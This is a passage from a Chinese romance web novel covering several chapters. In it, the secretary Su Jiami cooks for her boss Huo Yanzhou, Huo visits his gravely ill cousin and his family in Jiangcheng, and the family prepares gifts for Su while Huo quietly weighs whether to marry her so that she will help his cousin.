许瑶看到便条,赶紧跟苏嘉觅说,“你得去求霍砚舟,恒瑞律所的首席律师,霍砚舟认识。” 苏嘉觅挠了挠头发,“首席律师叫什么呀?” 许瑶看向傅珩。 傅珩摇头,“我也不知道。” 许瑶沉声对话筒说,“我哪知道,我又不混律政圈儿,而且我公司的法务打包给了小律所,一年到头就是咨询合同,我是真不认识大律师。” 她郁闷地说,“我爸公司的法务合作的律所就是远大,总不能远大律所再接下你的案子,自家律师对打吧?” 苏嘉觅舔了下嘴唇,“行,我知道了。” 挂了电话,许瑶见傅珩意味不明地望着她。 她脸上不自在,转移话题,“你去帮我查查,恒瑞律所的首席律师叫什么,我认识吗?” 傅珩勾唇,他颔首,“好的,许总。” 他转身走了。 许瑶拍了拍胸脯,回想昨天差点就跟自己秘书接吻了,她这个老板也太没节操了! —— 创科董事长办公室内,霍砚舟时不时看一眼门。 苏嘉觅抱着一捧白玫瑰、鹅黄色桔梗、粉色玫瑰组成的捧花站在霍砚舟办公室的门口转悠。 最后,她长长了舒了一口气,微笑着走了进去。 苏嘉觅声音明朗,“霍总,我刚去取外卖,看公司旁边的花店花不错,给您买了一束。” 听此,霍砚舟神色松弛地拄着下巴。 “花是男人送女人的,你送我,合适吗?” 苏嘉觅自顾自地寻找花瓶准备插花,“合适呀,我希望您能有个好心情。” 她摆弄玫瑰边道歉,“早上是我不对,以后我把洗好的衣服放客厅,霍总您自己收。” 霍砚舟心里不是滋味,他早上表现确实太小气了。 他轻咳一声,“好。” 苏嘉觅边剪玫瑰叶子,边寻找话题。 她蹙眉又满腹心事的样子,多了几丝楚楚可怜,看得霍砚舟心发软。 他仰靠在沙发椅上,“应诉律师的事情,你不用着急,我帮你找人。” 苏嘉觅欣喜抬眸,“真的?” 她忽而明媚了神情像是被阳光照亮的露水,澄澈明朗。 霍砚舟勾唇,“嗯!” 苏嘉觅雀跃地冲霍砚舟笑,“霍总你可真好,你说我怎么这么幸运能遇到你这么好的人?” 霍砚舟的浅笑僵在脸上,他垂下眼眸,捏着钢笔继续批文件。 好人? 他在苏嘉觅这,或许从一开始就不是一个好人。 苏嘉觅又笑着问,“霍总要找的律师是恒瑞律所的吗?” 霍砚舟,“对,恒瑞律所在业内数一数二。” 苏嘉觅颔首,“恒瑞律所的首席律师是谁呀?听说您认识?” 霍砚舟一顿。 他仰靠在沙发椅上,一本正经地说,“恒瑞总律所在海城,京城分所首席律师顾煜,我认识。” 原来如此! 苏嘉觅不再发问,开心地在那摆弄花。 霍砚舟却暗骂傅珩不是东西,让苏嘉觅跑过来问恒瑞律所的首席律师是谁? 他若一不小心透露出点什么,傅珩将来就可以在许瑶和苏嘉觅面前倒打一耙了,是他自愿帮傅珩瞒身份。 恒瑞律所的首席律师不正是狗男人——傅珩。 另一边,傅珩闲庭信步地去了许瑶的办公室汇报调查情况。 他清朗磁性的声音响起,“许总,我查了恒瑞律所的首席律师,您不认识。” 许瑶颔首,“我就知道我不可能认识,他叫什么?” 傅珩勾唇,“叫Eric·FU” “外国人啊,我就说要是特出名的国人律师,我能不认识?” 许瑶从文件里抬头,笑得无邪。 傅珩勾唇,“许总不是说不认识律政圈的人吗?” 许瑶尴尬地轻咳一声,“我那是敷衍苏嘉觅的,我认识他们老祖宗!” 傅珩挑眉,“谁?” 许瑶哂笑,“宋世杰,周星驰的《审死官》可好看了。” 傅珩没蹦住笑出了声。 他微微颔首,“许总果真见多识广。” 许瑶得意,摆手示意傅珩出去。 傅珩笑着转身走了。 关上门的一刹,他的笑容不减,他总是会被许瑶逗得这么开心。 傅珩见霍砚舟的电话又打了过来,“喂!” “让你律所的顾煜做苏嘉觅的上诉律师,我把诉讼费直接打给你。” 傅珩没什么语气,“你打律所的对公账户吧!” 霍砚舟发觉傅珩情绪不错,他轻笑,“阿珩,要不放弃你不切实际的想法吧,我看许瑶挺不错的。” 傅珩没应承,只是似笑非笑地说,“快去哄你的苏秘书,少打趣我。” 电话挂断,霍砚舟挠了挠眉尾,“哄苏嘉觅?” 他刚才似乎在找机会让苏嘉觅找他,他想哄好她? 霍砚舟眸光柔和明亮,“哄就哄了!” —— 周六,苏嘉觅决定做顿好吃的酬谢霍砚舟。 她早早去超市买菜,她从车上拎下两个大大的购物袋,可她一进门,就发现霍砚舟人不在家里...... 第41章 霍砚舟:我要对苏嘉觅负责 周末,阿姨一般不过来,因为苏嘉觅会睡懒觉,而霍砚舟有时候周末有应酬,去打高尔夫或者去马场遛马。 吃早餐的时候,霍砚舟说他今天不应酬,苏嘉觅觉得他大概率是去马场玩了。 苏嘉觅挽起头发,开始洗菜,收拾鱼虾。 她做了霍砚舟喜欢吃的东坡肉。 之前,汪阿姨给霍砚舟做过这道菜,不太合他的口味。 苏嘉觅吃过之前沈蓉阿姨烧的东坡肉,她觉得她能复刻个七七八八,至少能保证不柴不腻的口感。 临近中午,苏嘉觅除了要炒的青菜,其他的菜和汤都做好了。 她开始等霍砚舟回来。 苏嘉觅给霍砚舟打了两个电话,他关机了。 不知道怎么的,一向不关机的霍砚舟突然关机。 这让苏嘉觅觉得心里不踏实,很心慌,她又给黎骋打电话,黎骋的电话也关机了。 苏嘉觅变得坐立难安,她觉得若是霍砚舟带着黎骋出差了还好,最怕的是出什么意外。 等到下午两点多,苏嘉觅独自吃了午饭。 她又给霍砚舟打电话,电话通了,无人接。 苏嘉觅又给黎骋打,黎骋直接挂断了。 “什么情况呀?” 苏嘉觅将没动的饭菜放进了蒸箱保温,她回楼上睡觉去了。 她辗转反侧,总觉得很不踏实,拿起手机给霍砚舟发了一条信息——霍总,你还好吗?是不是出了什么事? 没等到霍砚舟的回复,倒是等来了安装窗帘的师傅。 苏嘉觅又开始忙着布置自己的卧室。 霍砚舟给她调换了一个有独立卫生间和衣帽间的二楼主卧,她很喜欢,而今又按照她的喜好布置,她就更喜欢了。 彼时,霍砚舟刚下飞机在去医院的路上。 他因为心烦,将手机开机后就调成了静音,不打算接任何电话。 熟悉老板脾气的黎骋,自然不敢违逆霍砚舟,他也挂了苏嘉觅的电话,把手机调成了震动。 到了医院,霍砚舟直奔住院部的VIP病房。 推开门,就看到霍云杳垂泪坐在床上,眼睛望向她时满是惊喜与委屈,她嗫嚅片刻哭出了声,“三哥!” 霍砚舟阔步过去。 霍云杳伸手抱住了他的脖颈,“我以为你不回来看我了呢!” 霍砚舟身体微僵,他轻轻地握住霍云杳的胳膊将人抚了下来,安顿霍云杳躺下,“杳杳,我回来得匆忙,连行李都没带。” 他无奈的口吻,“以后,不许这么任性了。” 霍云杳扒了化疗的针,拒绝治疗。 是霍云杳的母亲,霍砚舟的二婶打电话求霍砚舟赶回来的。 霍云杳擦了擦泪,“看到三哥,我就好多了,我明天再接着打针。” 霍砚舟疲惫地露出一抹笑,“好,我明天到医院看着你打针。” 霍云杳笑着点头,她陷在被子里,“你回来了,我终于可以安心睡一觉了。” 黎骋在外边,他透过门上的玻璃窗,看到霍砚舟体贴细致地照顾霍云杳躺下,给她盖好了薄被,又调了空调的温度。 紧赶慢赶,出了一身汗的黎骋擦了擦汗,“哎,我这遭罪的命!” 病房内,霍砚舟看着睡得安稳的霍云杳。 她鼻尖上的黑色小圆痣随着呼吸一鼓一鼓的,只是她的呼吸看上去好微弱,无血色又泛黄的脸庞被病痛折磨得像朵即将要枯萎的花。 霍砚舟心里难受,抬手按了按眉心。 压抑的心绪让霍砚舟想抽烟,他起身出去,就见黎骋站了起来。 “霍总,我们回老宅吗?” 霍砚舟顿了顿,“你很累?” “我不累,怕您累,”黎骋笑得狗腿,“经济舱,您坐着不舒服。” “等二婶过来,我们再回去!” 话音落,霍砚舟提步出去抽烟。 霍砚舟穿着黑色的衬衫,没打领带,灰色的西裤,袖管挽着。 他站在医院楼下的室外回廊里抽烟,他目光沉沉像是有心事,只是他这幅样子十分招人,路过的女医生和护士频频侧目。 霍砚舟被看得不自在,他拿出手机,赫然看到苏嘉觅发来的微信还有七八个未接来电。 他点开微信—— 苏小二:霍总,你还好吗?是不是出了什么事? 苏小二:我做了一桌子你爱吃的菜,你今天还回来吗? 一张图片,满桌子菜还有一道品相很好的东坡肉。 霍砚舟唇角上挑,他看得有点饿。 他回拨电话给苏嘉觅。 苏嘉觅声音发闷,像是在睡觉,“霍总,你要回来了吗?我去给你热菜。” 霍砚舟喉头哽住。 他柔声,“苏秘书,我家里有些事,我回江城了,过两天回去。” 苏嘉觅咬了下嘴唇,她哪能想到霍砚舟竟然赶回了江城。 “哦,您回家了啊!” 苏嘉觅有些失落,她都不配得到一声告知嘛? 若是霍砚舟赶去机场的路上给她打个电话,抑或者发个微信,她也不至于买了那么多菜忙了一上午又等他小半天。 霍砚舟听平时聒噪的苏嘉觅没了声音。 他安抚她的不安,“我住的别墅区安保很好,陆北不敢去找你。至于上下班,保镖,我留给你了。” 苏嘉觅忙道谢,“知道了,没什么事儿,我挂了!” “苏秘书...” 霍砚舟不知怎的,有些不舍苏嘉觅挂断电话。 他甚至想直截了当地问问她,她愿不愿意帮帮他,帮帮杳杳。 “怎么了?” 苏嘉觅询问。 霍砚舟理智回笼。 他知道他说这些还不是时候,苏嘉觅会一口回绝,他之前的付出就没有意义。 霍砚舟轻笑,鬼使神差地说,“没事,等我回来。” 挂了电话,他才发觉那句“等我回来”有些暧昧,惹人遐想。 只是,霍砚舟现在心里盘桓了一个新的想法——他对苏嘉觅负责。 苏嘉觅怔忪地看了几秒手机,她笑出了声,嘟囔着,“我又不是你老婆,什么叫等你回来?” 她捂了捂发热的脸,起身去给许瑶打电话。 “瑶瑶,霍砚舟回江城了,我做了好多菜,你过来吃呀!” 许瑶笑着答应,她对一旁整理文件的傅珩说,“霍砚舟回江城了,我晚上带你去霍砚舟家蹭饭!” 傅珩微怔,没想到苏嘉觅都可以在霍砚舟家里招待客人了,可见霍砚舟口是心非,他明明给了苏嘉觅女主人的特权。 “好,我去买红酒和鲜花。” 傅珩笑着出来。 他一个电话打给了霍砚舟,“砚舟,你前脚回江城,你的苏秘书后脚请我和许瑶去你家做客。” 傅珩闷笑,“是你允许的,还是你的苏秘书恃宠而骄,自行决定的? 霍砚舟眸色一颤,“嗯?” 第42章 霍家人的态度 霍砚舟一听就知道傅珩要说什么。 他冷嗤,“她让你去吃饭,你好意思空手去?” 霍砚舟掐着烟吸了一口,“记得带礼物,傅律。” 话音落,他挂了电话。 没否认也没承认,成功地狗了过去。 傅珩嗤笑,“狗东西。” 他出门去买礼物了。 落日余阳的温度在江城依旧彪悍,霍砚舟站在阴凉的室外回廊里抽烟。 这时,霍家二房的夫人阮倾走了过来。 她穿着丝质的淡色旗袍,拎着保温桶,“砚舟,你怎么在这,没在楼上?” 霍砚舟掐了烟,“二婶,我下楼抽烟。” 阮倾抿唇,眼中盈盈有泪,“看杳杳那副样子,你心里难受吧?” 霍砚舟垂眸不语。 成熟男人的难过情绪不轻易外泄,可他眸中的酸楚却清晰明了。 阮倾叹了口气,“你那么忙,我还打电话求你回来,我也是没办法。” 她揩了一下眼角的泪,“砚舟,大嫂知道你回来了,在家等你,你快回家吧!” 霍砚舟神情微滞,他抬眼看向阮倾,发现她眼睛红肿像是在家就哭过了。 他沉声,“二婶,我妈又为难你了?” “没有,大嫂心疼儿子奔波,是我考虑不周。” 阮倾笑得勉强,“你快回去吧,家里马上要开席了,为你接风洗尘。” 她没再说什么,提步往大楼里走。 阮倾,人如其名,有倾城之姿,说话也轻声软语。 五十出头的她保养得当,风姿绰约的模样尤可见她年轻时的风采。 只是,霍砚舟的母亲乔映紫看不惯她的做派。 妯娌之间,纷争不断。 而出身好,在霍氏集团任职的乔映紫在整个霍家具有绝对的话语权,全方位碾压二房和二房的夫人阮倾。 黎骋下楼时,正在讲电话。 见到霍砚舟,他忙开口,“霍总,老宅的司机来接您了,车在医院门口。” 霍砚舟颔首,觑了一眼楼上,直接往外走。 黎骋会意,“杳杳小姐刚醒,在吃二夫人送来的饭。您还上去看看她吗?” 霍砚舟摇头,“我再不回去,我妈下次要掌掴二婶了。” 他无奈哂笑,“我得回家灭怒火。” 黎骋挠了挠眉尾,倒是挺同情他老板的,每次他回家,大夫人都会跟二夫人和杳杳小姐抢人。 霍家的老宅是苏派园林建筑,名为砚园,占地2.6公顷。 这处私人豪宅是霍家老太爷在的时候翻修的,后来霍砚舟的父亲再次维修装潢。 现在的宅子布局从山水庭院到花石寄意,从山墙脊饰到匾额楹联,都蕴藏着传统文化的内涵与霍家百年望族的底蕴。 山水、林桥、亭台、楼阁各得其妙,景门、景窗、砖雕、泥塑绝无雷同,一处不工,不成砚园。 古韵盎然,奢华内敛。 而霍砚舟是这代唯一名字冠“砚”字的长房长子,意味霍家未来的掌权人,上位者。 可他却独自闯荡京圈创业,完成他自我的二次革命。 低调雅致的迈巴赫缓缓开进砚园旁的停车场,入目所及,院里已经掌灯了。 管家肖赫算是霍砚舟的发小。 他去年接替他父亲作继续在霍家做管家,他私人也有其他产业。 肖赫衣着不俗地站在门口,皮笑肉不笑地欢迎霍砚舟。 “少爷,欢迎回家。” 霍砚舟伸手捏了捏肖赫的肩膀,“饭摆在哪了?” 肖赫吃痛,“在玉梅苑,那凉快。” 霍砚舟疾步往玉梅苑走。 肖赫则把乔映紫又教训的阮倾的事情跟霍砚舟汇报了一下。 霍砚舟没什么意外之色,“嗯,你最近忙不忙?” “还好吧,”肖赫似笑非笑地说,“就是总听沈姨在夫人面前描绘你的苏秘书长得多美,夫人也听不腻呢!” 霍砚舟眉头微皱,神情几番变换,难以辨识的复杂。 渐渐地,他又平静下来,只是耳尖泛红,像是想到这什么绮丽的经历,属于苏秘书的专有记忆。 肖赫乍惊乍喜,“我说三儿,你这是思春开悟了?” 他反勾住霍砚舟的肩膀,“不在一棵树上吊死,是不是发现苏秘书就是你的命里桃花?” 霍砚舟见肖赫说得离谱。 他挥掉肖赫的手,“滚远点,少烦我。” 到了玉梅苑,霍家老爷子霍霆,霍砚舟的父亲霍敬启、母亲乔映紫都在,他二叔霍敬光也坐在那等着。 霍老爷朗笑,“舟舟,快去洗手,陪爷爷喝两杯。” 霍砚舟顿了顿,“爷爷,您能叫我砚舟吗?” 老爷子不以为意,他埋怨霍砚舟风尘仆仆的回来。 乔映紫则瞪了霍砚舟一眼,对肖赫说,“去给砚舟上道烈火牛肉,去晦气。” 肖赫忍笑,“好,我让厨房准备。” 霍砚舟撩眼皮望向乔映紫,粲然一笑,“都听您的。” 他母亲是嫌弃他先去医院看霍云杳,后回家看她,故意点他。 霍砚舟洗手出来,坐在了霍老爷子的身边。 霍敬光面上难看,忍着气,张罗开饭。 霍氏夫妇没再难为自家儿子。 霍砚舟跟老爷子聊天,他话不多,却总能说到点上让老爷子高兴。 “砚舟,你在京圈混两年,爷爷不反对,但得回来接手家业。” 老爷子定了最后的调子。 霍砚舟抬眼觑了眼霍敬光,他颔首,“这是一定的,爷爷放心,我创业是为了更好的守家业。” 霍敬光捏紧了筷子。 乔映紫得意,勾唇笑说,“砚舟,你不在的这段时间,你二叔家多了一桩喜事。杳杳的亲生父亲找过来了,若是配型成功,杳杳就有救了。” 霍砚舟惊喜,“真的?” 霍敬光喝了一口酒,很有几分郁闷。 “杳杳的父亲是个没心肝的,只想找大女儿,根本不管杳杳死活,我和阮倾还得跟他谈。” 霍砚舟诧异又不解。 他当年在阮倾家躲避的时候,怎么不记得她家除了杳杳还有别的孩子? “大女儿?” 霍敬光颔首,“嗯,据说大女儿跟着外婆在边水镇生活,赶集的时候,走失了。” 边水镇是江城附近的城镇。 当初霍砚舟被绑架后又被拐走,就是在边水镇遇到的小杳杳,她也被拐了,被解救的霍砚舟与阮倾、杳杳生活了一段时间。 霍砚舟没再多问,“二叔好好与杳杳的父亲谈,他会答应的。若是...” 乔映紫轻咳,“砚舟,尝尝沈蓉给你准备的东坡肉,苏小姐怕是还做不好这道菜。” 霍砚舟忽而想起苏嘉觅发的那张满桌子菜的照片,里面有一道菜就是东坡肉。 这时,他的手机蓦然一亮,是微信。 傅珩:砚舟,我这马上要一饱口福了,你在干嘛? 傅珩发来一张照片,是苏嘉觅炒菜的背影。 霍砚舟拿过手机看照片,苏嘉觅的丸子头像个小毛球滚在他心间。 乔映紫轻笑,“砚舟,是苏小姐的微信吗?” 第43章 傅珩:霍老六和苏小二的儿子叫“二六子” 霍砚舟按灭了手机。 他没什么表情,“不是,是傅珩。” 乔映紫有些扫兴,而霍老爷子则成功被霍砚舟转移了注意力。 “傅家那小子也跑到京城去了?他在那边的律所做得怎么样?” 霍砚舟面上无波澜,内心却在嘲讽——傅珩在京城半年,自己的分律所一次没去,天天给许瑶当男秘,殷勤伺候,鞍前马后。 他轻咳两声,“傅珩在京城的分所合伙人不太行,他过去亲自盯一年再回来。” 江城和海城作为长三角的经济中心,是超一线城市,在这两城的事业做得风生水起,没理由管不好京城的业务。 霍家老爷子絮絮而言,“你们呀,总想自己闯出些名堂来。” 一餐饭,霍家二爷寡言少语,倒是霍家大房一家在得意长子回来后气氛浓烈,笑声不断。 饭后,霍砚舟将他爷爷送回住所去了他父母住的流玉园。 乔映紫端着茶盏,揩了揩茶叶末,“砚舟,你什么时候回去?” 霍砚舟摩挲着茶盏盖子上的兰花釉彩,“我尽快回去。” 乔映紫就知道霍云杳母女二人一定又装可怜,拒绝治疗,央求霍砚舟留几天陪霍云杳化疗。 她轻咳,岔开了话题。 “你这两天多准备的特产啊,礼物啊,给苏小姐带回去!” 霍砚舟抬眸看向乔映紫,以为这话是对管家肖赫说的,可她的眼睛却睨着他。 肖赫忍笑,硬是不接话。 霍砚舟眼眸一弯,顿生波光,给人轻松的春风拂面之感。 “妈,你又没见过苏嘉觅,怎么对她这么上心?” 乔映紫将茶盏放在一旁,笑容不减分毫,“只要不是那个病秧子,你娶谁,我都没意见。” 肖赫看向霍砚舟,他神情淡淡的,没反驳也没说什么,只是若无其事地喝茶。 霍砚舟呷了两口茶,倦意若隐若现,“妈,她是我堂妹,我不会娶她。” 乔映紫叹了口气,“砚舟,心上放一个不该想的人很辛苦。” 她起身,“我听沈蓉说了,那个苏小姐人美嘴甜,你俩又...合拍,过阵子,你把人带回来,给你爷爷瞧瞧。” 霍砚舟玩味的勾了勾笑,荡漾着痞气。 “那你们得准备大红包,她贪财又爱钱。” 肖赫听此,茶烫了喉咙,大咳猛咳。 霍砚舟甚至猜测肖赫是要把肺叶咳出来了。 乔映紫听霍砚舟这么说,眉眼凝笑,不怒反喜,“这样好啊,苏小姐是个实诚孩子,在你面前都不遮掩爱钱财。” 她抱着手臂思忖,“也是,人家要不是看上你的钱,谁愿意天天对着一张冰块脸呢!” 肖赫咳得难受,这会儿又得憋笑。 霍砚舟嘴角绷直,有些无奈,“您是我亲妈吗?” “要不是你亲妈,我都懒得看你的冰块脸。” 乔映紫微微捂嘴打了个哈欠,“行了,你爸说他明天再找你聊,你回去睡吧!” 她起身回卧室了。 霍砚舟上面的两个姐姐已经嫁人,行三的他是长房长子,本是众星捧月的存在,偏偏因为跟霍云杳青梅竹马的情意惹爸妈不快。 两人一见自家“不争气”的儿子就是当面挖苦,背地教训,总之没给霍砚舟什么好脸色。 看戏脸的肖赫起身,“走吧,少爷,我送你回去休息。” “你咳完了?肺叶怎么没咳出来?” 霍砚舟把被怼的坏情绪发在肖赫身上。 肖赫可不当这个大冤种,他轻笑,“您就别担心我的肺叶了,还是好好心疼下你的肺管子吧,都快被夫人戳烂了!” 霍砚舟拧眉,见四下无人,上手弄肖赫。 肖赫鬼哭狼嚎了一路才到霍砚舟的住所。 霍砚舟整理下衣服,款款吩咐,“给苏嘉觅准备的礼物你帮我备好。” 肖赫的衣服被霍砚舟捶出了褶子,他边理边嘟囔,“夫人让你亲自准备,你少坑我。” “我明天陪杳杳,后天就回去。” 霍砚舟这话说得坦然,他确实没时间。 肖赫叹了口气,他神情有些无奈,“三儿,我跟你说句真心话,杳杳是个好姑娘,但她不适合你。” 霍云杳命悬一线不说,她那副小家碧玉,弱柳扶风的样子就不是能陪霍砚舟守业守家的女主人。 霍砚舟心里也清楚,他只是割舍不下一起走出阴霾,一起长大的情分,看她被病魔折磨,他私心里想让她活下来。 “我知道,至少让她活着。” 霍砚舟从口袋里掏出烟盒,敲出一支,焚燃,浅吸。 “我总不能不管她,让她就这么没了。” 肖赫不置可否,他知道霍砚舟是重情义的人,他抬眸又问,“苏小姐是不是熊猫血?她就是那个合适的人,对吧?” 霍砚舟神情僵滞了片刻,他颔首。 “可她惜命得很,现在不会同意的,”霍砚舟盯着明灭的烟头,蓦然无奈又痴倦地低笑出声,“我不讨厌她,所以,我打算对她负责。” 肖赫瞬间明白了霍砚舟的意思——苏嘉觅救霍云杳,霍砚舟就娶苏嘉觅。 他舌尖抵了下口腔壁,“人家苏小姐同意吗?” 霍砚舟与苏嘉觅接触下来的这段时间,以他对苏嘉觅的了解,她一定不同意。 他唇角弯了弯,“黎骋一直在寻找其他合适的人选。若是有了他人,我不会走最后一步棋。” 肖赫微微颔首,“那你会娶下一个合适的人吗?” 霍砚舟迸发出的眼神有一股强烈的压迫感,“我有病啊?” 肖赫眸中喜色一闪而过,“哦,别人,你不想负责,就想对苏小姐负责。三儿啊,你这是陷进去了啊?” 霍砚舟抬手捏肖赫肩膀,他手机却一个劲儿地来提示音。 他伸手从口袋里抄出手机,又是傅珩。 傅珩给他发了很多图片,有一桌子好菜、一瓶好酒、三个空杯,还有大捧的鲜花,还有苏嘉觅醉眼酡红的粉嫩小脸上挂着如春风拂过的笑意,无声却醉人。 霍砚舟嘴角轻扬。 肖赫探身过来,也看到了苏嘉觅的真容。 忽而,傅珩又发来一张照片,是苏嘉觅与他的微信页面。 傅珩:砚舟,苏秘书去洗水果,我无意间看到了她给你的微信备注,很亲切地称谓,霍老六。【大笑表情】 傅珩:你给她备注苏小二,对吧?那你俩将来真在一起生个孩子,岂不是叫“二六子”,霍家的小小少爷是二流子。【捂肚子狂笑表情】 肖赫见此勾住霍砚舟的肩膀,“这么纵着苏小姐,你敢说不是喜欢?” 第44章 神同步的泡澡 “不是喜欢,是利益交换。” 霍砚舟眸光微敛,一手抄兜,一手掐着烟回了房间。 那抹俊逸挺拔的身影看得肖赫直摇头,“嘴真硬。” 另一边,傅珩开车载着许瑶从霍砚舟家出来。 车开在甬道上,两旁树影飞驰而过,他脑中回想苏嘉觅位于二楼的主卧,风格淡雅,田园温馨,是暖色调,可与霍砚舟别墅整体风格不一样。 在他眼里,这是霍砚舟对苏嘉觅的纵容。 许瑶见傅珩从霍砚舟家里出来就没说话。 她拍了拍傅珩的肩膀,“傅秘书,不要被霍砚舟的财大气粗迷住了眼,跟着我好好干,保你年底在京城六环买套大房子。” 傅珩眼中漾着波光,他唇角上扬,“谢谢许总。” —— 送走了许瑶和傅珩,苏嘉觅在自己卧室的洗漱间的大鱼缸里泡个泡泡精油澡,她周身放松,惬意舒适。 她趴在缸壁上,微眯着眼睛,“由俭入奢易,由奢入俭难,以后过不上这么好的日子,你该怎么办!” 苏嘉觅的自言自语更像是自我鞭策。 因为只要履行完跟霍砚舟的一年合约,她还是可以过好自己的生活,滋润富足。 她忽而想到一个问题——霍砚舟家里是出了什么大事?他连行李都没收拾就走了,若是破产之类的事情,那她的两个亿不会打水漂吧? 想到这,苏嘉觅擦了擦手,她给霍砚舟打去了电话。 霍砚舟彼时也在泡澡,他叼着烟,看今日的财经时报。 小茶几旁的手机响了,他瞟了一眼,是苏嘉觅。 他折起手边的报纸,接起电话,“苏小二,找我有事?” 哎,你这霍老六,怎么不叫我苏秘书了? 这个回答在苏嘉觅脑中过了一遍,就被她硬生生地咽了回去。 “霍总,还没睡呀?” 苏嘉觅的声音依旧软甜。 霍砚舟就知道,她惯会伪装自己小白兔的形象,大灰狼的野心。 他忍笑,“嗯,小二,你有事吗?” 苏嘉觅另一只手撩了下浴缸里的水,“就是想问问霍总什么时候回来,我好安排手头工作。” 若是一时半会儿回不来,那他家一定就出了大问题。 苏嘉觅如实地想。 霍砚舟听到撩水潺潺的声音,“你在干什么?” 苏嘉觅扫了一眼镜中氤氲水汽下的脸,“我啊,忙了一天,我泡个热水澡。” 她在泡澡? 霍砚舟的脑中,不自主地浮现出苏嘉觅妩媚带娇的美丽脸庞,玲珑有致的傲人身材,尤其是那两条勾人的腿。 他轻咳,“我后天回去。” 苏嘉觅听此如释重负,她小声说,“好的。” 霍砚舟正在想还要不要说点什么,就听苏嘉觅欢喜灵动的声音传了过来,“霍总,晚安!” 电话挂了! 霍砚舟微微一顿,仔细想了一下苏嘉觅打这通电话的意思。 须臾,他嘴角浓起苦笑。 霍砚舟猜到了——苏嘉觅怕他突然返家是因为家里出了类似于破产的大事,他无法兑现两个亿的承诺。 他阖眼,将未抽完的烟按在烟缸里,“这点出息!” 心里踏实的苏嘉觅睡了个好觉,第二天早起上班,看到上次陪她去云水镇出差的保镖开车过来。 “苏秘书,霍总交代我送你上下班。” 苏嘉觅点头,上了霍砚舟平时用得最多的座驾宾利飞驰。 豪车坐着舒服,让她有点犯困。 到了公司,她如常办公。 秘书办的游岚过来跟她告状,“苏秘书,你都不知道你没来上班前,她们都说霍总独自回家不带你,是你拿不出手。” “结果,她们听说你是坐老板的车来的,又打脸闭嘴了。” 游岚是个颜控,吃苏嘉觅的颜值,磕她与霍砚舟的CP,她在霍砚舟颜值深渊里畅游久了,一个猛子扎进苏嘉觅这桃花潭水里了。 起初,苏嘉觅不习惯游岚舔她的颜值,现在她很习惯。 “又不是第一天蛐蛐我,随他们去吧!” 游岚星星眼,“等着老板回来给你撑腰。” 苏嘉觅可不需要霍砚舟的撑腰,她只需要他的钞票。 “对了,老板急吼吼地回家干什么呀?” 游岚扬了扬自己的手机,“我最近摸鱼看了本小说,里面的男主三不五时往老家跑,出轨了,他还跟小三生个孩子...” 苏嘉觅推着游岚的肩膀将人送出办公室,“我这还有两个方案要写,你饶了我吧,祖宗!” 她坐回去写方案,脑中闪过游岚的话。 苏嘉觅撇撇嘴,“他心里的人在江城?” 医院内,霍砚舟坐在霍云杳床头对面的椅子上。 他手里拿了一本书,清朗温润地读给正在打针的霍云杳听。 霍云杳看着眼前的男人,含着眼泪,“三哥,你对我真好。” 霍砚舟抬眸看眼前的人儿挂着眼泪,像极了小时候摔倒求他抱抱的小姑娘,他抽过桌旁的棉柔巾递给她。 “多大人了,还哭?” 霍云杳擦了眼泪,垂眸又问,“三哥,那个苏秘书到底什么时候答应救我啊?” “她...” 霍砚舟紧绷下颌,“她身世凄苦,这事得征得她本人同意。” 言下之意,前半句话,霍砚舟对苏嘉觅有恻隐心,后半句话,强行逼迫苏嘉觅是犯法的。 霍砚舟又笑着说,“二叔会和你爸爸谈好的。” 霍云杳伸手抓住霍砚舟的手,“若是谈好了,三哥就会回来陪我手术治疗。那你是不是就可以赶走苏秘书了?” 霍砚舟见霍云杳激动地扯到了针头,“杳杳,你别动,我去叫护士。” 霍云杳看出霍砚舟眼中的着急十分真切,她又觉得自己太草木皆兵,他怎么会喜欢上别人呢? 霍砚舟开门,就见二婶阮倾领进来一个戴着金丝眼镜,气质儒雅,身型英挺的男人,他猜测这人就是霍云杳的亲生父亲。 男人目光平和,倒是阮倾有些惊惶,尤其是看到霍砚舟在的时候,她更慌了。 霍砚舟垂眸,他作为晚辈看到二叔妻子的前夫,属实尴尬。 “砚舟,你回去吧!” 阮倾表情促狭,“这边的事情,我会处理。别让大嫂更怨我了!” 霍砚舟觑向那个男人,他没什么表情的样子。 “二婶,若是你和这位先生沟通有困难,我可以跟这位先生沟通。” 阮倾摇头,“不用了,你回去吧!” 霍砚舟颔首,不做勉强,“我下午再来看杳杳。” 他路过护士站告诉她们杳杳埋的针鼓针了。 霍砚舟听到病房里传来那个男人的声音,像是在说什么不是他的女儿之列的气话。 黎骋这时走了过来,“霍总,傅律打您电话,您没接。他让我转告您,给苏小姐做代理的顾煜律师要跟苏小姐见一面,谈案子。” 霍砚舟颔首,“嗯,你安排时间。” 话音落,他领着黎骋回了老宅。 刚进家门,他人就被肖赫请去了,“看看,我给苏秘事准备的东西,她会喜欢吗?” 霍砚舟搭眼一瞧,“少了点!” 第45章 欠我一口,咬改吻吧! 肖赫准备了江城的特色礼品。 有几块上等的新式丝绸面料,无论是做旗袍或者裁裙子都很不错,再有就是御品轩老师傅打造的檀木镂雕六层首饰盒、一套檀木镶贝母珍珠梳子、墨红玫瑰茶、牡丹粉彩陶瓷香薰,苏绣女士围巾礼盒。 肖赫挠了挠眉尾,语气揶揄,“三儿啊,以我对女人的了解,我准备的这些,苏小姐一定喜欢。” 霍砚舟拿出烟敲出一支叼在嘴里。 “那是你以为。苏小二认吃爱吃,你忘了买肉脯了。” 苏小二? 这是霍砚舟对苏嘉觅的爱称? 肖赫觉得还挺别出心裁的。 他怔忪,“啊,对,你们都同居了,一定了解她的口味。” 拿着打火机打火的霍砚舟,第一次打火没打着。 他冷冷地剔了肖赫一眼,“你一单身狗知道什么叫同居吗?” 两人正要呛呛两句,就见霍母乔映紫走了过来,身后的沈蓉端着几个丝绒首饰盒。 “砚舟,过来替我掌掌眼,看看我给苏小姐准备的礼物。” 肖赫咽下了骂骂咧咧的话,笑着出去置办特产食品去了。 霍砚舟神情有些为难,他没想到家里人对苏嘉觅这么上心,与其说对苏嘉觅上心,不如说是对他的婚事上心。 盒子一一打开,一套红宝石首饰,一套澳白首饰,再有一套粉钻首饰,项链镶嵌的样式是蜜蜂和玫瑰花,而耳饰是两只小蜜蜂,戒指则是玫瑰花搭配玫瑰金的镶嵌。 “这套粉钻的首饰,是沈蓉回来后,我给苏小姐订的,”乔映紫满意地抚了抚,“暗含了她的名字,嘉觅。” 霍砚舟轻咳,“妈,我和她只是接触中的男女朋友关系,她还不一定是你儿媳。” 乔映紫白了霍砚舟一眼,将盒子又一一盖上。 “你跟人家都睡一起了,难道还不想负责?” 